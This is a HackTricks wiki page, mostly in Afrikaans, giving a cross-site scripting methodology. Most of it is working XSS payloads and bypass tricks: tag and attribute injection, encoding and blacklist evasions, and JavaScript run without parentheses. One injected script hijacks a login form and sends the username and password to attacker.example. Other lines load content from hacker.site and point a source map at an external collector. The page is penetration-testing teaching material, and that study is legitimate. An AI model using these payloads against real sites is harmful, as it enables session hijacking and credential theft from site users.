XSS (Cross Site Scripting)
Reading time: 57 minutes
tip
Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
Metodologie
- Kontroleer of enige waarde wat jy beheer (parameters, path, headers?, cookies?) weerspieël word in die HTML of gebruik word deur JS-kode.
- Vind die konteks waar dit weerspieël/gebruik word.
- As dit weerspieël
- Kontroleer watter simbole jy kan gebruik en, afhangend daarvan, berei die payload voor:
- In ruwe HTML:
- Kan jy nuwe HTML-tags skep?
- Kan jy events of attributte gebruik wat die
javascript:
-protokol ondersteun? - Kan jy beskerming omseil?
- Word die HTML-inhoud geïnterpreteer deur enige client-side JS-motor (AngularJS, VueJS, Mavo...)? Jy kan 'n Client Side Template Injection misbruik.
- As jy nie HTML-tags kan skep wat JS-kode uitvoer nie, kan jy 'n Dangling Markup - HTML scriptless injection misbruik?
- Binne 'n HTML-tag:
- Kan jy ontsnap na die ruwe HTML-konteks?
- Kan jy nuwe events/attribute skep om JS-kode uit te voer?
- Ondersteun die attribuut waarin jy gevang is die uitvoering van JS?
- Kan jy beskerming omseil?
- Binne JavaScript-kode:
- Kan jy uit die
<script>
-tag ontsnap? - Kan jy die string ontsnap en ander JS-kode uitvoer?
- Is jou insette in template literals ``?
- Kan jy beskerming omseil?
- Javascript funksie wat uitgevoer word
- Jy kan die naam van die funksie aandui om uit te voer. bv.:
?callback=alert(1)
- As dit gebruik word:
- Jy kan 'n DOM XSS uitbuit; let daarop hoe jou insette beheer word en of jou beheerde insette deur enige sink gebruik word.
Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om te leer oor:
Weerspieëlde waardes
Om 'n XSS suksesvol te benut, is die eerste ding wat jy moet vind 'n waarde wat deur jou beheer word en wat op die webblad weerspieël word.
- Intermediair weerspieël: As jy vind dat die waarde van 'n parameter of selfs die pad in die webblad weerspieël word, kan jy 'n Reflected XSS uitbuit.
- Gestoor en weerspieël: As jy vind dat 'n waarde wat jy beheer op die bediener gestoor word en elke keer wanneer jy 'n bladsy besoek weerspieël word, kan jy 'n Stored XSS uitbuit.
- Toegang via JS: As jy vind dat 'n waarde wat jy beheer deur JS bereik word, kan jy 'n DOM XSS uitbuit.
Kontekste
Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet waar jou insette weerspieël word. Afhangend van die konteks sal jy op verskeie maniere arbitraire JS-kode kan uitvoer.
Ruwe HTML
As jou insette op die ruwe HTML bladsy weerspieël word, sal jy 'n HTML-tag moet misbruik om JS-kode uit te voer: <img , <iframe , <svg , <script
... dit is net 'n paar van die baie moontlike HTML-tags wat jy kan gebruik.
Ook, hou Client Side Template Injection in gedagte.
Binne HTML-tag-attribuut
As jou insette binne die waarde van 'n attribuut van 'n tag weerspieël word, kan jy probeer:
- Om uit die attribuut en uit die tag te ontsnap (dan sal jy in die ruwe HTML wees) en 'n nuwe HTML-tag te skep om te misbruik:
"><img [...]
- As jy uit die attribuut kan ontsnap maar nie uit die tag nie (
>
word gekodeer of verwyder), afhangend van die tag kan jy 'n event skep wat JS-kode uitvoer:" autofocus onfocus=alert(1) x="
- As jy nie uit die attribuut kan ontsnap nie (
"
word gekodeer of verwyder), sal jy, afhangend van watter attribuut jou waarde weerspieël word en of jy die hele waarde of net 'n deel beheer, dit kan misbruik. Byvoorbeeld, as jy 'n event soosonclick=
beheer, kan jy dit laat uitvoer wanneer dit geklik word. 'n Ander interessante voorbeeld is die attribuuthref
, waar jy diejavascript:
-protokol kan gebruik om arbitraire kode uit te voer:href="javascript:alert(1)"
- As jou insette binne "onuitbuitbare tags" weerspieël word, kan jy die
accesskey
-truuk probeer om die vuln te misbruik (jy sal 'n mate van social engineering benodig om dit te eksploiteer):" accesskey="x" onclick="alert(1)" x="
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klasnaam beheer:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Binne JavaScript code
In hierdie geval word jou invoer gereflekteer tussen <script> [...] </script>
tags van 'n HTML-bladsy, binne 'n .js
lêer of binne 'n attribuut wat die javascript:
protokol gebruik:
- As dit gereflekteer word tussen
<script> [...] </script>
tags, selfs al is jou invoer binne enige soort aanhalingstekens, kan jy probeer om</script>
in te spuit en uit hierdie konteks te ontsnap. Dit werk omdat die blaaier eers die HTML-tags sal parse en daarna die inhoud, daarom sal dit nie opmerk dat jou ingespuitte</script>
tag binne die HTML-kode is nie. - As dit gereflekteer word binne 'n JS-string en die laaste truuk werk nie, sal jy die string moet verlaat, jou code uitvoer en die JS code herbou (as daar enige fout is, sal dit nie uitgevoer word nie):
'-alert(1)-'
';-alert(1)//
\';alert(1)//
- As dit gereflekteer word binne template literals kan jy JS-uitdrukkings inkorporeer met die
${ ... }
sintaksis:var greetings = `Hello, ${alert(1)}`
- Unicode encode werk om valid javascript code te skryf:
alert(1)
alert(1)
alert(1)
Javascript Hoisting
Javascript Hoisting verwys na die geleentheid om functions, variables of classes ná gebruik te declare, sodat jy scenario's kan misbruik waar 'n XSS undeclared variables of functions gebruik.
Kyk na die volgende bladsy vir meer inligting:
Javascript Function
Verskeie webblaaie het endpoints wat as parameter die naam van die function aanvaar wat uitgevoer moet word. 'n Algemene voorbeeld wat jy in die wild sien is iets soos: ?callback=callbackFunc
.
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee is probeer uitgevoer word, is deur die modifying the param value (byvoorbeeld na 'Vulnerable') en in die console te kyk vir foute soos:
As dit kwesbaar is, kan jy 'n trigger an alert veroorsaak deur net die waarde te stuur: ?callback=alert(1)
. Dit is egter baie algemeen dat hierdie endpoints die inhoud validate om slegs letters, syfers, punte en underscores toe te laat ([\w\._]
).
Tog, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om access any element in the DOM:
Some useful functions for this:
firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement
Jy kan ook probeer om trigger Javascript functions direk: obj.sales.delOrders
.
Gewoonlik is die endpoints wat die aangeduide funksie uitvoer egter endpoints sonder baie interessante DOM; ander bladsye in dieselfde oorsprong sal 'n meer interessante DOM hê om meer aksies uit te voer.
Daarom, om abuse this vulnerability in a different DOM te bereik, is die Same Origin Method Execution (SOME) exploitation ontwikkel:
SOME - Same Origin Method Execution
DOM
Daar is JS code wat onveilig sekere data wat deur 'n aanvaller beheer word gebruik, soos location.href
. 'n Aanvaller kan dit misbruik om arbitrêre JS-kode uit te voer.
Universal XSS
Sulke XSS kan oral gevind word. Hulle is nie net afhanklik van die client exploitation van 'n webtoepassing nie maar van enige konteks. Hierdie tipe arbitrêre JavaScript execution kan selfs misbruik word om RCE te verkry, arbitrêre lêers in kliënte en bedieners te lees, en meer.
Sommige voorbeelde:
WAF bypass encoding image
Injecting inside raw HTML
As jou invoer inside the HTML page gereflekteer word of jy kan ontsnap en HTML-kode in hierdie konteks injekteer, is die first ding wat jy moet doen om te kontroleer of jy <
kan misbruik om nuwe tags te skep: Probeer net om daardie char te reflect en kyk of dit HTML encoded word of deleted word, of of dit reflected without changes is. Only in the last case you will be able to exploit this case.
Vir hierdie gevalle hou ook in mind Client Side Template Injection.
Note: A HTML comment can be closed using****-->
****or **--!>
**
In hierdie geval en as geen swart-/witlyste gebruik word nie, kan jy payloads soos:
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>
Maar, as tags/attributes black/whitelisting gebruik word, sal jy moet brute-force watter tags jy kan skep.
Sodra jy gevind het watter tags toegelaat word, sal jy die brute-force attributes/events binne die gevonde geldige tags moet doen om te sien hoe jy die konteks kan aanval.
Tags/Events brute-force
Gaan na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet en klik op Copy tags to clipboard. Stuur dan al die tags met Burp intruder en kontroleer of enige tags nie deur die WAF as kwaadwillig bespeur is nie. Sodra jy ontdek het watter tags jy kan gebruik, kan jy brute-force alle events met die geldige tags (op dieselfde webblad klik op Copy events to clipboard en volg dieselfde prosedure as tevore).
Custom tags
As jy geen geldige HTML tag gevind het nie, kan jy probeer om 'n custom tag te skep en JS code uit te voer met die onfocus
attribute. In die XSS request moet jy die URL beëindig met #
om die bladsy te laat fokus op daardie objek en die kode uit te voer:
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
Blacklist Bypasses
As 'n soort blacklist gebruik word, kan jy probeer om dit met 'n paar dom truuks te bypass:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
Lengte-omseiling (klein XSSs)
[!NOTE] > Meer klein XSS payloads vir verskillende omgewings kan hier gevind word en hier.
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>
Die laaste gebruik 2 unicode-karakters wat uitbrei tot 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
Click XSS - Clickjacking
As jy, om die kwesbaarheid te misbruik, die user to click a link or a form met vooraf ingevulde data nodig het, kan jy probeer om abuse Clickjacking (if the page is vulnerable).
Impossible - Dangling Markup
As jy net dink dat dit onmoontlik is om 'n HTML tag met 'n attribuut te skep om JS code uit te voer, moet jy Danglig Markup raadpleeg omdat jy die kwesbaarheid kan exploit without die JS code uit te voer.
Inspuiting binne HTML-tag
Binne die tag/ontsnap uit attribuutwaarde
As jy inside a HTML tag is, is die eerste ding wat jy kan probeer om uit die tag te escape en 'n paar van die tegnieke te gebruik wat in die previous section genoem word om JS code uit te voer.
As jy cannot escape from the tag, kan jy nuwe attributes binne die tag skep om te probeer om JS code uit te voer, byvoorbeeld deur 'n payload soos (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t
Stylgebeurtenisse
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Binne die attribuut
Selfs al kan jy nie uit die attribuut ontsnap nie ("
word gekodeer of verwyder), afhangend van in watter attribuut jou waarde gereflekteer word en of jy die hele waarde of net 'n deel beheer, sal jy dit kan misbruik. By voorbeeld, as jy 'n event soos onclick=
beheer sal jy dit kan laat uitvoer arbitrêre kode wanneer daar op geklik word.
Nog 'n interessante voorbeeld is die attribuut href
, waar jy die javascript:
protokol kan gebruik om arbitrêre kode uit te voer: href="javascript:alert(1)"
Omseiling binne event deur HTML-enkodering/URL-enkodering
Die HTML-geënkodeerde karakters binne die waarde van HTML-tag-attribuute word gedekodeer tydens runtime. Daarom sal iets soos die volgende geldig wees (die payload is in vet): <a id="author" href="http://none" onclick="var tracker='http://foo?
'-alert(1)-'
';">Go Back </a>
Neem kennis dat elke soort HTML-enkodering geldig is:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">a</a>
<a href="javascript:alert(2)">a</a>
<a href="javascript:alert(3)">a</a>
Let wel dat URL encode ook sal werk:
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
Bypass binne event deur Unicode encode te gebruik
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Spesiale protokolle binne die attribuut
Daar kan jy die protokolle javascript:
of data:
in sekere plekke gebruik om ewekansige JS-kode uit te voer. Sommige sal gebruikersinteraksie vereis, ander nie.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Plekke waar jy hierdie protokolle kan inspuit
In die algemeen kan die javascript:
protocol gebruik word in enige tag wat die attribuut href
aanvaar en in die meeste van die tags wat die attribuut src
aanvaar (maar nie <img>
nie)
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>
//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">
Ander obfuskasie-truuks
In hierdie geval is die HTML-enkodering en die Unicode-enkodering-truuk van die vorige afdeling ook geldig aangesien jy binne 'n attribuut is.
<a href="javascript:var a=''-alert(1)-''">
Verder is daar nog 'n netjiese wenk vir hierdie gevalle: Selfs as jou invoer binne javascript:...
as URL gekodeer word, sal dit voor uitvoering URL gedekodeer word. Dus, as jy uit die string moet escape met 'n single quote en jy sien dat dit as URL gekodeer word, onthou dat dit nie saak maak, dit sal tydens die uitvoering as 'n single quote geïnterpreteer word.
'-alert(1)-'
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
Let wel: as jy probeer om beide URLencode + HTMLencode
in watter volgorde ook al te gebruik om die payload te enkodeer, sal dit nie werk nie, maar jy kan hulle binne die payload meng.
Using Hex and Octal encode with javascript:
Jy kan Hex en Octal encode binne die src
attribuut van iframe
(ten minste) gebruik om HTML tags te skep wat JS uitvoer:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Omgekeerde tab nabbing
<a target="_blank" rel="opener"
As jy enige URL in 'n ewekansige <a href=
-tag kan injekteer wat die target="_blank" and rel="opener"
-attribuute bevat, kyk na die volgende bladsy om hierdie gedrag te misbruik:
on Event Handlers Bypass
Kyk eers na hierdie bladsy (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) vir nuttige "on" event handlers.
Indien daar 'n swartlys is wat jou verhinder om hierdie event handlers te skep, kan jy die volgende omseilings probeer:
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>
//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
XSS in "Unexploitable tags" (hidden input, link, canonical, meta)
Van here is dit nou moontlik om hidden inputs te misbruik met:
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
En in meta tags:
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
Vanaf here: Jy kan 'n XSS payload inside a hidden attribute uitvoer, mits jy die slachtoffer kan oortuig om die sleutelkombinasie te druk. Op Firefox (Windows/Linux) is die sleutelkombinasie ALT+SHIFT+X en op OS X is dit CTRL+ALT+X. Jy kan 'n ander sleutelkombinasie spesifiseer deur 'n ander sleutel in die access key attribute te gebruik. Hier is die vektor:
<input type="hidden" accesskey="X" onclick="alert(1)">
Die XSS payload sal iets soos die volgende wees: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Verskeie truuks met die gebruik van verskillende kodering is reeds in hierdie afdeling blootgelê. Gaan terug om te leer waar jy dit kan gebruik:
- HTML encoding (HTML tags)
- Unicode encoding (can be valid JS code):
\u0061lert(1)
- URL encoding
- Hex and Octal encoding
- data encoding
Bypasses for HTML tags and attributes
Lees die Blacklist Bypasses of the previous section.
Bypasses for JavaScript code
Lees die JavaScript bypass blacklist of the following section.
CSS-Gadgets
As jy 'n XSS in 'n baie klein deel van die web vind wat 'n soort interaksie vereis (miskien 'n klein link in die footer met 'n onmouseover element), kan jy probeer om die ruimte wat daardie element inneem te verander om die waarskynlikheid dat die link geaktiveer word te maksimeer.
Byvoorbeeld, jy kan style by die element voeg soos: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5
Maar, as die WAF die style attribute filter, kan jy CSS Styling Gadgets gebruik; as jy byvoorbeeld vind
.test {display:block; color: blue; width: 100%}
en
#someid {top: 0; font-family: Tahoma;}
Nou kan jy ons skakel wysig en dit in die volgende vorm bring
<a href="" id=someid class=test onclick=alert() a="">
Hierdie truuk is geneem van https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703
Injecting inside JavaScript code
In hierdie geval sal jou input weerspieël word binne die JS code van 'n .js
file of tussen <script>...</script>
tags of tussen HTML events wat JS code kan uitvoer of tussen attributes wat die javascript:
protocol aanvaar.
Escaping <script> tag
As jou code ingevoeg is binne <script> [...] var input = 'reflected data' [...] </script>
kan jy maklik die sluiting van die <script>
tag escape:
</script><img src=1 onerror=alert(document.domain)>
Neem kennis dat ons in hierdie voorbeeld nie eers die enkele aanhalingsteken toegemaak het nie. Dit is omdat HTML parsing eers deur die browser uitgevoer word, wat behels dat bladsy-elemente, insluitend blokke van script, geïdentifiseer word. Die parsing van JavaScript om die ingeslote scripts te verstaan en uit te voer, vind eers daarna plaas.
Binne JS-kode
As <>
gesanitiseer word, kan jy steeds die string ontsnap waar jou invoer geleë is en arbitrêre JS uitvoer. Dit is belangrik om JS-sintaksis reg te stel, want as daar enige foute is, sal die JS-kode nie uitgevoer word nie:
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
JS-in-JS string break → inject → repair pattern
Wanneer gebruikersinvoer binne 'n quoted JavaScript string beland (e.g., server-side echo into an inline script), kan jy die string beëindig, kode injekteer en die sintaks herstel om parsing geldig te hou. Generiese geraamte:
" // end original string
; // safely terminate the statement
<INJECTION> // attacker-controlled JS
; a = " // repair and resume expected string/statement
Voorbeeld-URL-patroon wanneer die kwesbare parameter in 'n JS-string weerspieël word:
?param=test";<INJECTION>;a="
Dit voer aanvaller-JS uit sonder om die HTML-konteks aan te raak (suiwer JS-in-JS). Kombineer dit met die swartlys-omseilings hieronder wanneer filters sleutelwoorde blokkeer.
Template literals ``
Om strings te konstrueer, behalwe enkelle en dubbele aanhalings, aanvaar JS ook backticks ``
. Dit staan bekend as template literals aangesien hulle toelaat om embedded JS expressions te gebruik met die ${ ... }
sintaksis.\
Daarom, as jy vind dat jou invoer binne 'n JS string wat backticks gebruik reflected word, kan jy die sintaksis ${ ... }
misbruik om arbitrary JS code uit te voer:
Dit kan misbruik word deur:
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``
Gekodeerde kode-uitvoering
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
Aflewerbare payloads met eval(atob()) en scope-nuanses
Om URLs korter te hou en naïewe sleutelwoordfilters te omseil, kan jy jou werklike logika in base64 enkodeer en dit evalueer met eval(atob('...'))
. As eenvoudige sleutelwoordfiltrering identifiseerders soos alert
, eval
, of atob
blokkeer, gebruik Unicode-escaped identifiseerders wat in die blaaier identies kompileer maar string-matching-filters omseil:
\u0061\u006C\u0065\u0072\u0074(1) // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64')) // eval(atob('...'))
Belangrike nuans in skoping: const
/let
wat binne eval()
verklaar word is slegs binne daardie blok beskikbaar en skep NIE globale veranderlikes nie; hulle sal nie deur later scripts toeganklik wees nie. Gebruik 'n dinamies ingespuitde <script>
-element om globale, nie-herbindbare hooks te definieer wanneer nodig (bv. om 'n form handler te kaap):
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);
Verwysing: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval
Unicode-kodering van JS-uitvoering
alert(1)
alert(1)
alert(1)
JavaScript tegnieke om swartlyste te omseil
Strings
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))
Spesiale ontsnapreekse
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself
Spasie-substitusies binne JS-kode
<TAB>
/**/
JavaScript comments (van JavaScript Comments truuk)
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
JavaScript nuwe reëls (van JavaScript new line truuk)
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9
JavaScript witruimtes
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert(1)>
Javascript binne 'n kommentaar
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
JavaScript sonder hakies
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name
// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`
// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`
// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`
//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`
// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''
// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}
// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
- https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md
- https://portswigger.net/research/javascript-without-parentheses-using-dommatrix
Ewekansige funksie-oproep (alert)
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
